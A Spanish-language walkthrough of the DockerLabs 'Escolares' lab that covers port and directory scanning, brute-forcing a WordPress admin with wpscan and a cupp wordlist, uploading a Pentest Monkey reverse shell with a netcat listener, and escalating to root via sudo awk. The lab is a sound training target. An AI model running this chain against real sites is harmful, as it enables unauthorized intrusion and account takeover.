Escolares - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | Luisillo_o |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
22(SSH)80(HTTP)
A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.
nmap -p 80,22 -sCV 172.17.0.2 -oG targeted
Exploración Web
Al acceder a la página web, observamos una pagina sobre una Universidad de Ciberseguridad.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Al analizar el código fuente de la página, encontramos una ruta hacia profesores.html, donde descubrimos que luisillo es el administrador de la instalación de WordPress.
WordPress
Exploramos el directorio wordpress y observamos que necesitamos ajustar el archivo /etc/hosts para que el dominio escolares.dl funcione correctamente.
Añadimos lo siguiente a /etc/hosts:
172.17.0.2 escolares.dl
Repetimos el escaneo de directorios en wordpress:
gobuster dir -u escolares.dl/wordpress -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
Identificamos al usuario luisillo como administrador. Procedemos con un ataque de fuerza bruta para descubrir su contraseña.
wpscan --url http://escolares.dl/wordpress -e u,cb,vp,vt
Encontramos el usuario que vimos en la ruta de antes de profesores.html, por lo que con se ve es un usuario en potencia para probar fuerza bruta.
##Fuerza bruta usuario “luisillo”.
Creamos un diccionario de contraseñas utilizando cupp:
cupp -i
Ejecutamos el ataque de fuerza bruta con wpscan:
wpscan --url http://escolares.dl/wordpress/ -U luisillo -P luisillo.txt
Obtenemos la contraseña de luisillo y accedemos al panel de administración de WordPress.
Reverse Shell
Dentro del panel de administración, utilizamos un plugin que permite acceder a los archivos del servidor web. Subimos una reverse shell creada con Pentest Monkey:
Reverseshell de Pentest Monkey
Nos ponemos a la escucha con netcat:
nc -lvnp 4444
Accedemos a la URL donde subimos la reverse shell y establecemos la conexión. Verificamos que estamos ejecutando comandos como el usuario www-data.
TTY ReverseShell
Iniciar una sesión de shell interactiva
En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:
script /dev/null -c bash
Suspender la shell
Una vez que el comando anterior está en ejecución, utilizamos
Control+Z
para suspender temporalmente nuestra shell.
Preparar nuestro terminal local:
Antes de volver a nuestra shell, configuramos nuestro terminal local:
stty raw -echo; fg
Resetear la configuración del terminal
Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:
reset
Configura el tipo de terminal:
xterm
export TERM=xterm
export SHELL=bash
Escalada de Privilegios
Explorando el sistema, encontramos un archivo secret.txt en el directorio de luisillo. Este archivo contiene la contraseña de su cuenta.
su luisillo
Al ejecutar sudo -l, vemos que podemos ejecutar awk como root. Utilizando GTFOBins sabemos cómo explotar estos binarios.
sudo awk 'BEGIN {system("/bin/sh")}'
Ya seriamos root.